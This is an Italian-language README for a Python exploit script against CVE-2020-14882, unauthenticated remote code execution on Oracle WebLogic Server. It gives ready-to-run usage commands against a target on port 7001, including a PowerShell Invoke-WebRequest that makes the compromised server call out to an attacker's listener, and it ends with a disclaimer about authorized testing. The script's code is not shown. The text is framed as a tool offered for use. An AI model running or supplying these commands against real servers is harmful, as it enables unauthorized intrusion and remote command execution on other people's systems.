CVE-2020-14882

Questo script consente l'esecuzione remota di codice (RCE) su Oracle WebLogic Server utilizzando una richiesta GET non autenticata. Sfrutta la vulnerabilità CVE-2020-14882. Eseguendo comandi arbitrari, un attaccante può ottenere accesso non autorizzato al server.

Dettagli dell'exploit

• Titolo dell'exploit: Oracle WebLogic Server, RCE non autenticata tramite richiesta GET
• Autore dell'exploit: Danny Safaya
• CVE: CVE-2020-14882
• Homepage del fornitore: Oracle WebLogic Server
• Collegamento al software: Oracle Middleware Downloads
• Maggiori informazioni: Analisi dell'RCE di WebLogic tramite una sola richiesta GET (CVE-2020-14882)

Utilizzo

Assicurati di avere Python 3 installato. Per utilizzare questo script, segui i passaggi seguenti:

1. Apri un terminale o un prompt dei comandi.

2. Esegui lo script utilizzando il seguente comando:

   root@kitploit:~

   python3 exploit.py http(s)://target:7001 command
   

   Sostituisci http(s)://target:7001 con l'URL di destinazione del server Oracle WebLogic e command con il comando desiderato da eseguire.

   Esempio 1:

   root@kitploit:~

   python3 exploit.py http(s)://target:7001 "nslookup your_Domain"
   

   Questo esempio esegue il comando nslookup your_Domain sul server di destinazione.

   Esempio 2:

   root@kitploit:~

   python3 exploit.py http(s)://target:7001 "powershell.exe -c Invoke-WebRequest -Uri http://your_listener"
   

   Questo esempio esegue il comando PowerShell Invoke-WebRequest -Uri http://your_listener sul server di destinazione.

Avvertenza

Questo script è destinato esclusivamente a test di penetrazione autorizzati e a scopi di ricerca sulla sicurezza. L'uso non autorizzato di questo script per sfruttare sistemi senza il dovuto consenso è illegale e può comportare conseguenze legali. Utilizzalo a tuo rischio.

Dipendenze

Questo script richiede le seguenti dipendenze:

• requests
• urllib3

Assicurati che queste dipendenze siano installate prima di eseguire lo script.

---